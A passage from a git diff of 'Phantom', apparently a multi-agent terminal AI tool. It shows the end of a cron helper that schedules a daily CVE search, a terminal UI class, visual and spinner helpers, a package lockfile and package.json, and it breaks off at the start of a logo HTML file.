automation.`; + } + if (cmd === "cve_daily") { + // Schedule via crontab or internal cron + const script = `#!/bin/sh\ncd ${process.cwd()} && node phantom.mjs --tool cve_search "2025" 2>&1 | head -50`; + const scriptPath = resolve("./.hermes/scripts/cve_daily.sh"); + if (!fs.existsSync(resolve("./.hermes/scripts"))) fs.mkdirSync(resolve("./.hermes/scripts"), { recursive: true }); + fs.writeFileSync(scriptPath, script, "utf-8"); + try { + execFileSync("sh", ["-c", `(crontab -l 2>/dev/null; echo "0 9 * * * ${scriptPath}") | crontab -`], { timeout: 10000 }); + return `[cron] ✓ CVE daily scan scheduled at 09:00. Script: ${scriptPath}`; + } catch { return `[cron] Crontab not available. Script saved: ${scriptPath}\n Install manually: crontab -e and add:\n 0 9 * * * ${scriptPath}`; } + } + return `[cron] Commands: cve_now, cve_daily`; + } catch (e) { return `[cron Error] ${e.message}`; } + }, +}; diff --git a/lib/tui.mjs b/lib/tui.mjs new file mode 100644 index 0000000000000000000000000000000000000000..c9c91ac1424a9c40818999126323104211c6fd84 --- /dev/null +++ b/lib/tui.mjs @@ -0,0 +1,159 @@ +// TUI — Incremental terminal UI +// Logo drawn once at top. Messages append with \n, terminal scrolls naturally. +// Input bar redrawn at bottom after each log. Full redraw only on resize. +// No repeated logo frames in scrollback history. +import { renderLogo } from "./visual.mjs"; + +const R = "\x1b[0m"; +const CSI = "\x1b["; +const home = CSI + "H"; +const cls = CSI + "2J"; +const hide = CSI + "?25l"; +const show = CSI + "?25h"; + +function c(name) { + const cl = { black:30, red:31, green:32, yellow:33, blue:34, magenta:35, cyan:36, white:37, dim:2, fg:37 }; + return `${CSI}${cl[name] ?? 37}m`; +} +function dim(s) { return `${c("dim")}${s}${R}`; } + +export class TUI { + constructor(opts = {}) { + this.active = false; + this._buf = []; + this._maxBuf = 500; + this._inputText = ""; + this._toolCount = 0; + this._onExit = opts.onExit || (() => {}); + this._rows = process.stdout.rows || 24; + this._cols = process.stdout.columns || 80; + this._resizeHandler = null; + this._convStart = 0; // 1-based row where conversation starts + this._convMax = 0; // how many conversation lines fit on screen + + this._onResize = () => { + const newRows = process.stdout.rows || 24; + const newCols = process.stdout.columns || 80; + if (newRows === this._rows && newCols === this._cols) return; + this._rows = newRows; + this._cols = newCols; + if (this.active) this._fullRedraw(); + }; + } + + enter() { + if (this.active) { this.exit(); } + process.stdout.write(home + cls + hide); + + // ── Logo (drawn once at top, scrolls away naturally) ── + const logo = renderLogo({ tools: this._toolCount || 0 }); + const logoH = logo.split("\n").length; + process.stdout.write(logo + "\n"); + process.stdout.write(dim("\u2500".repeat(this._cols)) + "\n"); + + // ── Conversation area ── + this._convStart = logoH + 2; // 1-based row right after separator + this._convMax = this._rows - logoH - 3; + this._msgCount = 0; + + // Fill with blank lines then input bar + for (let i = 0; i < this._convMax; i++) process.stdout.write("\n"); + process.stdout.write(dim("\u2500".repeat(this._cols)) + "\n"); + process.stdout.write(c("green") + "\u25b8 " + R); + + // Move cursor to conversation start for first message + process.stdout.write(CSI + this._convStart + ";1H"); + + this.active = true; + + if (typeof process.stdout.on === "function" && !this._resizeHandler) { + this._resizeHandler = this._onResize.bind(this); + process.stdout.on("resize", this._resizeHandler); + } + } + + exit() { + if (!this.active) return; + if (this._resizeHandler) { + try { process.stdout.removeListener("resize", this._resizeHandler); } catch {} + this._resizeHandler = null; + } + this._onExit(); + process.stdout.write(show); + this.active = false; + } + + log(text) { + if (!this.active) { process.stdout.write(text + "\n"); return; } + this._buf.push(text); + if (this._buf.length > this._maxBuf) this._buf.shift(); + + // Position cursor at the next conversation row and write + const row = this._convStart + this._msgCount; + if (row <= this._rows) { + process.stdout.write(CSI + row + ";1H" + CSI + "2K"); + } + process.stdout.write(text + "\n"); + this._msgCount++; + + // Redraw input bar (may have been pushed up by terminal scroll) + this._redrawInput(); + } + + _fullRedraw() { + if (!this.active) return; + const rows = this._rows; + const cols = this._cols; + + let out = home + cls; + + const logo = renderLogo({ tools: this._toolCount || 0 }); + const logoH = logo.split("\n").length; + out += logo + "\n"; + out += dim("\u2500".repeat(cols)) + "\n"; + + this._convStart = logoH + 2; + this._convMax = rows - logoH - 3; + + // Show last convMax lines from buffer + const visible = []; + let lineCount = 0; + for (let i = this._buf.length - 1; i >= 0 && lineCount < this._convMax; i--) { + const entry = this._buf[i]; + const lc = entry ? Math.max(1, Math.ceil(entry.replace(/\x1b\[[0-9;]*[mK]/g, '').length / Math.max(cols, 1))) : 1; + if (lineCount + lc <= this._convMax) { + visible.unshift(entry); + lineCount += lc; + } else break; + } + + for (const line of visible) out += line + "\n"; + const remaining = this._convMax - lineCount; + for (let i = 0; i < remaining; i++) out += "\n"; + + out += dim("\u2500".repeat(cols)) + "\n"; + const visibleLen = this._inputText.replace(/\x1b\[[0-9;]*[mK]/g, '').length; + out += c("green") + "\u25b8 " + R + this._inputText; + + process.stdout.write(out); + process.stdout.write(CSI + rows + ";" + (3 + visibleLen) + "H"); + } + + setInput(text) { + this._inputText = text || ""; + this._redrawInput(); + } + + setToolCount(n) { this._toolCount = n; } + + _redrawInput() { + const rows = this._rows; + const cols = this._cols; + const visibleLen = this._inputText.replace(/\x1b\[[0-9;]*[mK]/g, '').length; + process.stdout.write(CSI + (rows - 1) + ";1H" + CSI + "2K"); + process.stdout.write(dim("\u2500".repeat(cols))); + process.stdout.write(CSI + rows + ";1H" + CSI + "2K"); + process.stdout.write(c("green") + "\u25b8 " + R + this._inputText); + process.stdout.write(CSI + rows + ";" + (3 + visibleLen) + "H"); + } +} diff --git a/lib/visual.mjs b/lib/visual.mjs new file mode 100644 index 0000000000000000000000000000000000000000..f1068f842c4c3e5d8c915407df69bddf255a20ec --- /dev/null +++ b/lib/visual.mjs @@ -0,0 +1,131 @@ +// Phantom — shared visual components +// ANSI colors, ASCII art, banners, prompts, separators +// Neon violet/cyan on dark — hacker-in-hoodie aesthetic + +// ── ANSI helpers (local — no dependency on phantom.mjs) ── +function fg(name) { + const colors = { black:30, red:31, green:32, yellow:33, blue:34, magenta:35, cyan:36, white:37, dim:2 }; + const n = colors[name] ?? 37; + return `\x1b[${n}m`; +} +const _R = "\x1b[0m"; +const _B = "\x1b[1m"; +const _D = "\x1b[2m"; + +// ── Hooded figure logo (cyberpunk neon) ───────────────── +export function renderLogo(opts = {}) { + const { + mode = "", // "non-interactive", "v0.2.0" + tools = 0, + wide = false, + } = opts; + + const M = fg("magenta"); + const C = fg("cyan"); + const G = fg("green"); + const Y = fg("yellow"); + const dim = fg("dim"); + const _r = _R; + const b = _B; + const d = _D; + + // Shadow figlet logo — no box-drawing borders, clean + const lines = [ + ` ${M}${b} _ \\ | | \\ \\ |__ __| _ \\ \\ |${_r}`, + ` ${M}${b} | | | | _ \\ \\ | | | | |\\/ |${_r}`, + ` ${M}${b} ___/ ___ | ___ \\ |\\ | | | | | |${_r}`, + ` ${M}${b} _| _| _|_/ _\\_| \\_| _| \\___/ _| _|${_r}`, + ` ${C}${b}P${_r} ${M}${b}H${_r} ${Y}${b}A${_r} ${C}${b}N${_r} ${M}${b}T${_r} ${Y}${b}O${_r} ${C}${b}M${_r}`, + ]; + if (tools) lines.push(` ${dim}${tools} tools${_r}`); + return lines.join("\n"); +} + +// ── Simple banner (small terminals / DesktopUI) ── +export function renderBanner(text = "PHANTOM", subtitle = "") { + const C = fg("cyan"); + const dim = fg("dim"); + const _r = _R; + const b = _B; + return `${C}${b}${text}${_r}${subtitle ? ` ${dim}${subtitle}${_r}` : ""}`; +} + +// ── Prompt symbols ──────────────────────────────── +export const prompt = { + ghost: `${fg("green")}👻${_R} `, + bolt: `${fg("cyan")}⚡${_R} `, + hash: `${fg("magenta")}#${_R} `, + arrow: `${fg("green")}→${_R} `, + dim: `${fg("dim")}⧩${_R} `, +}; + +// ── Separator line ────────────────────────────────── +export function separator(char = "─", len = 50) { + return `${fg("dim")}${char.repeat(len)}${_R}`; +} + +// ── Status icons ──────────────────────────────────── +// ── Animated spinner ────────────────────────────────── +// Minimal frame-based spinner; no external deps. +export function createSpinner(startTime, opts = {}) { + const frames = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏']; + let i = 0, timer = null; + const write = opts.write || ((s) => process.stdout.write(s)); + const fmt = (ts) => { + const s = Math.floor((Date.now() - ts) / 1000); + return s > 3600 ? `${Math.floor(s/3600)}h ${Math.floor((s%3600)/60)}m` + : s > 60 ? `${Math.floor(s/60)}m ${s%60}s` + : `${s}s`; + }; + return { + start(msg) { + if (timer) return; + timer = setInterval(() => { + const f = frames[i = (i + 1) % frames.length]; + write(`\r${fg("cyan")}${_B}${f}${_R} [${fmt(startTime)}] ${msg}`); + }, 80); + }, + stop() { + if (!timer) return; + clearInterval(timer); timer = null; + write('\r\x1b[K'); + }, + update(msg) { + const f = timer ? frames[i] : frames[0]; + write(`\r${fg("cyan")}${_B}${f}${_R} [${fmt(startTime)}] ${msg}`); + } + }; +} + +export const icons = { + ok: `${fg("green")}✓${_R}`, + err: `${fg("red")}✕${_R}`, + warn: `${fg("yellow")}⚠${_R}`, + info: `${fg("cyan")}◈${_R}`, + bullet: `${fg("magenta")}◆${_R}`, + arrow: `${fg("green")}→${_R}`, +}; + +// ── Chat border — wraps multi-line text in a bordered box ── +// width = total width (defaults to terminal cols - 2) +// title = optional top-left label +// color = border color function (default dim) +export function chatBorder(text, opts = {}) { + const { width, title, color = fg("dim") } = opts; + const cols = width || (process.stdout.columns || 80) - 4; + const c = color; + const _r = _R; + const lines = text.split("\n"); + const out = []; + const top = title + ? `${c}╔═ ${_B}${title}${_R}${c} ${"═".repeat(Math.max(0, cols - title.length - 4))}╗${_r}` + : `${c}╔${"═".repeat(cols + 2)}╗${_r}`; + out.push(top); + for (const line of lines) { + const wrapped = line.length > cols ? line.substring(0, cols - 1) + "…" : line; + const pad = " ".repeat(Math.max(0, cols - wrapped.length + 2)); + out.push(`${c}║${_r} ${wrapped}${pad}${c}║${_r}`); + } + out.push(`${c}╚${"═".repeat(cols + 2)}╝${_r}`); + return out.join("\n"); +} diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000000000000000000000000000000000000..b2b8e80754aa2235234dc8621ba423ed41c9277f --- /dev/null +++ b/package-lock.json @@ -0,0 +1,597 @@ +{ + "name": "phantom", + "version": "0.2.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "phantom", + "version": "0.2.0", + "license": "MIT", + "bin": { + "phantom": "phantom.mjs" + }, + "devDependencies": { + "@types/blessed": "^0.1.25", + "@types/node": "^20.14.0", + "tsx": "^4.23.1", + "typescript": "^5.5.0" + }, + "optionalDependencies": { + "blessed": "^0.1.81" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.1.tgz", + "integrity": "sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.1.tgz", + "integrity": "sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.1.tgz", + "integrity": "sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.1.tgz", + "integrity": "sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.1.tgz", + "integrity": "sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.1.tgz", + "integrity": "sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.1.tgz", + "integrity": "sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.1.tgz", + "integrity": "sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.1.tgz", + "integrity": "sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.1.tgz", + "integrity": "sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.1.tgz", + "integrity": "sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.1.tgz", + "integrity": "sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.1.tgz", + "integrity": "sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.1.tgz", + "integrity": "sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.1.tgz", + "integrity": "sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.1.tgz", + "integrity": "sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.1.tgz", + "integrity": "sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.1.tgz", + "integrity": "sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.1.tgz", + "integrity": "sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.1.tgz", + "integrity": "sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.1.tgz", + "integrity": "sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.1.tgz", + "integrity": "sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.1.tgz", + "integrity": "sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.1.tgz", + "integrity": "sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.1.tgz", + "integrity": "sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.1.tgz", + "integrity": "sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@types/blessed": { + "version": "0.1.27", + "resolved": "https://registry.npmjs.org/@types/blessed/-/blessed-0.1.27.tgz", + "integrity": "sha512-ZOQGjLvWDclAXp0rW5iuUBXeD6Gr1PkitN7tj7/G8FCoSzTsij6OhXusOzMKhwrZ9YlL2Pmu0d6xJ9zVvk+Hsg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/node": { + "version": "20.19.41", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.41.tgz", + "integrity": "sha512-ECymXOukMnOoVkC2bb1Vc/w/836DXncOg5m8Xj1RH7xSHZJWNYY6Zh7EH477vcnD5egKNNfy2RpNOmuChhFPgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": "~6.21.0" + } + }, + "node_modules/blessed": { + "version": "0.1.81", + "resolved": "https://registry.npmjs.org/blessed/-/blessed-0.1.81.tgz", + "integrity": "sha512-LoF5gae+hlmfORcG1M5+5XZi4LBmvlXTzwJWzUlPryN/SJdSflZvROM2TwkT0GMpq7oqT48NRd4GS7BiVBc5OQ==", + "license": "MIT", + "optional": true, + "bin": { + "blessed": "bin/tput.js" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/esbuild": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.1.tgz", + "integrity": "sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.28.1", + "@esbuild/android-arm": "0.28.1", + "@esbuild/android-arm64": "0.28.1", + "@esbuild/android-x64": "0.28.1", + "@esbuild/darwin-arm64": "0.28.1", + "@esbuild/darwin-x64": "0.28.1", + "@esbuild/freebsd-arm64": "0.28.1", + "@esbuild/freebsd-x64": "0.28.1", + "@esbuild/linux-arm": "0.28.1", + "@esbuild/linux-arm64": "0.28.1", + "@esbuild/linux-ia32": "0.28.1", + "@esbuild/linux-loong64": "0.28.1", + "@esbuild/linux-mips64el": "0.28.1", + "@esbuild/linux-ppc64": "0.28.1", + "@esbuild/linux-riscv64": "0.28.1", + "@esbuild/linux-s390x": "0.28.1", + "@esbuild/linux-x64": "0.28.1", + "@esbuild/netbsd-arm64": "0.28.1", + "@esbuild/netbsd-x64": "0.28.1", + "@esbuild/openbsd-arm64": "0.28.1", + "@esbuild/openbsd-x64": "0.28.1", + "@esbuild/openharmony-arm64": "0.28.1", + "@esbuild/sunos-x64": "0.28.1", + "@esbuild/win32-arm64": "0.28.1", + "@esbuild/win32-ia32": "0.28.1", + "@esbuild/win32-x64": "0.28.1" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/tsx": { + "version": "4.23.1", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.1.tgz", + "integrity": "sha512-GQHnkIfxyx1wYCOS/wonik5MVRZU9hi1TEZmzGZSCJB1y9YgoZ8H6itNE/u4suE+yLmOzuE4E5S4TZ/ZX2wcWQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "~0.28.0" + }, + "bin": { + "tsx": "dist/cli.mjs" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "dev": true, + "license": "MIT" + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000000000000000000000000000000000000..71a4e35fc030f0977fdda0be8336a3f98385b3e5 --- /dev/null +++ b/package.json @@ -0,0 +1,49 @@ +{ + "name": "phantom-ai", + "version": "0.2.0", + "description": "Space-evolving multi-agent terminal UI — zero-setup, works on desktop & Termux", + "main": "phantom.mjs", + "type": "module", + "preferGlobal": true, + "engines": { + "node": ">=18" + }, + "files": [ + "phantom.mjs", + "lib/", + "dist/", + "README.md", + "LICENSE" + ], + "bin": { + "phantom": "./phantom.mjs" + }, + "scripts": { + "start": "node phantom.mjs", + "build": "tsc", + "dashboard": "node phantom.mjs --gui", + "dev": "tsx src/index.ts", + "dev:build": "node dist/index.js", + "clean": "rm -rf dist", + "test": "node --test test/*.test.mjs", + "quiet": "node phantom.mjs --quiet", + "run": "node phantom.mjs" + }, + "keywords": [ + "agent", + "terminal", + "ai", + "multi-agent", + "termux" + ], + "license": "MIT", + "optionalDependencies": { + "blessed": "^0.1.81" + }, + "devDependencies": { + "@types/blessed": "^0.1.25", + "@types/node": "^20.14.0", + "tsx": "^4.23.1", + "typescript": "^5.5.0" + } +} diff --git a/phantom-logo.html b/phantom-logo.html new file mode 100644 index 